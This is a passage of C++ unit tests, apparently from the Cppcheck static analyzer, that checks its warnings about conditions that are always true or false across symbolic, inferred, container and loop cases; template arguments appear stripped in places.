(std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if (c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\" // #12937\n \" bool c = !a && b;\\n\"\n \" if (a) {}\\n\"\n \" else {\\n\"\n \" if (c) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned x) {\\n\" // #13522\n \" unsigned u = x;\\n\"\n \" int i = u - 0;\\n\"\n \" if (i < 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueInfer() {\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x==1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5) {\\n\"\n \" x++;\\n\"\n \" if (x != 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Condition 'x!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6890\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x == -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x==-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x != -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x!=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x >= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>=-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>-1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x < -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x <= -1) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x<=-1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 7) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:6:15]: (style) Condition 'x>7' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 9) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int x = i;\\n\"\n \" if (x >= 1) {}\\n\"\n \" else {\\n\"\n \" x = 8 - x;\\n\"\n \" if (x > 10) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11100\n check(\"struct T {\\n\"\n \" bool m{};\\n\"\n \" void f(bool b);\\n\"\n \" bool get() const { return m; }\\n\"\n \" void set(bool v) { m = v; }\\n\"\n \"};\\n\"\n \"void T::f(bool b) {\\n\"\n \"\tbool tmp = get();\\n\"\n \"\tset(b);\\n\"\n \"\tif (tmp != get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9541\n check(\"int f(int pos, int a) {\\n\"\n \" if (pos <= 0)\\n\"\n \" pos = 0;\\n\"\n \" else if (pos < a)\\n\"\n \" if(pos > 0)\\n\"\n \" --pos;\\n\"\n \" return pos;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:16]: (style) Condition 'pos>0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9721\n check(\"void f(int x) {\\n\"\n \" if (x > 127) {\\n\"\n \" if ( (x>255) || (-128>x) )\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:30]: (style) Condition '-128>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8778\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 19; ++i)\\n\"\n \" if(i<=18) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'i<=18' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8209\n check(\"void f() {\\n\"\n \" for(int x = 0; x < 3; ++x)\\n\"\n \" if(x == -5) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'x==-5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8407\n check(\"int f(void) {\\n\"\n \" for(int i = 0; i <1; ++i)\\n\"\n \" if(i == 0) return 1; \\n\" // <<\n \" else return 0;\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Condition 'i==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned int u1, unsigned int u2) {\\n\"\n \" if (u1 <= 10 && u2 >= 20) {\\n\"\n \" if (u1 != u2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:16]: (style) Condition 'u1!=u2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10544\n check(\"void f(int N) {\\n\"\n \" if (N > 0) {\\n\"\n \" while (N)\\n\"\n \" N = test();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11098\n check(\"void f(unsigned int x) { if (x == -1u) {} }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int *p, const int *q) {\\n\"\n \" return p != NULL && q != NULL && p == NULL;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (style) Return value 'p==NULL' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #11789\n \" std::vector v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" int j = i - v.size();\\n\"\n \" if (j >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12039\n \" if ((128 + i < 255 ? 128 + i : 255) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12727\n \" bool f() const {\\n\"\n \" return g() > 0;\\n\"\n \" }\\n\"\n \" std::size_t g() const {\\n\"\n \" return 5 - h();\\n\"\n \" }\\n\"\n \" std::size_t h() const {\\n\"\n \" if (x > 7)\\n\"\n \" return 5;\\n\"\n \" return (5 + x) % 5;\\n\"\n \" }\\n\"\n \" std::size_t x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueContainer() {\n // #9329\n check(\"void c1(std::vector&);\\n\"\n \"void c2(std::vector&);\\n\"\n \"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int flag) {\\n\"\n \" std::vector g;\\n\"\n \" if (flag)\\n\"\n \" c1(g );\\n\"\n \" else\\n\"\n \" c2(g );\\n\"\n \" if ( !g.empty() )\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void g();\\n\"\n \" void f(bool b) {\\n\"\n \" v.clear();\\n\"\n \" g();\\n\"\n \" return !v.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10409\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s == \\\"ab\\\" ) return;\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& s) {\\n\"\n \" if( s.size() < 2 ) return;\\n\"\n \" if( s != \\\"ab\\\" )\\n\"\n \" if( s.size() < 3 ) return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10226\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw 0;\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'it!=vector.end()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11303\n check(\"void f(int n) {\\n\"\n \" std::vector buffer(n);\\n\"\n \" if(buffer.back() == 0 ||\\n\"\n \" buffer.back() == '\\\\n' ||\\n\"\n \" buffer.back() == '\\\\0') {}\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Condition 'buffer.back()=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (style) Condition 'buffer.back()=='\\\\0'' is always false\\n\", errout_str());\n }\n\n // #9353\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct X { std::string s; };\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" if (!it->s.empty()) {\\n\"\n \" if (!it->s.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:5:17]: (style) Condition '!it->s.empty()' is always true [knownConditionTrueFalse]\\n\", \"\", errout_str());\n\n // #10508\n check(\"bool f(const std::string& a, const std::string& b) {\\n\"\n \" return a.empty() || (b.empty() && a.empty());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:2:46]: (style) Return value 'a.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" struct iterator;\\n\"\n \" iterator begin() const;\\n\"\n \" iterator end() const;\\n\"\n \"};\\n\"\n \"A g();\\n\"\n \"void f(bool b) {\\n\"\n \" std::set s;\\n\"\n \" auto v = g();\\n\"\n \" s.insert(v.begin(), v.end());\\n\"\n \" if(!b && s.size() != 1)\\n\"\n \" return;\\n\"\n \" if(!s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::string s) {\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" s += '\\\\n';\\n\"\n \" if (s.empty())\\n\"\n \" return -1;\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(std::string& p) {\\n\"\n \" const std::string d{ \\\"abc\\\" };\\n\"\n \" p += d;\\n\"\n \" if(p.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15]: (style) Condition 'p.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int i, FILE* fp) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" s += std::to_string(i);\\n\"\n \" s += \\\"\\\\n\\\";\\n\"\n \" return fwrite(s.c_str(), 1, s.length(), fp) == s.length();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #9148\n \" if (s.empty() || s.size() < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:2:31]: (style) Condition 's.size()<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void bar(std::vector& vv) {\\n\" // #11464\n \" class F {\\n\"\n \" public:\\n\"\n \" F(int, std::vector& lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" private:\\n\"\n \" std::vector& mV;\\n\"\n \" } fi(1, vv);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::vector v;\\n\"\n \" bar(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct F {\\n\"\n \" F(int, std::vector&lv) : mV(lv) {\\n\"\n \" mV.push_back(0);\\n\"\n \" }\\n\"\n \" std::vector& mV;\\n\"\n \"};\\n\"\n \"void g(std::vector& vv) {\\n\"\n \" F(1, vv);\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" g(v);\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueLoop()\n {\n check(\"long foo() {\\n\"\n \" bool bUpdated = false;\\n\"\n \" long Ret{};\\n\"\n \" do {\\n\"\n \" Ret = bar();\\n\"\n \" if (Ret == 0) 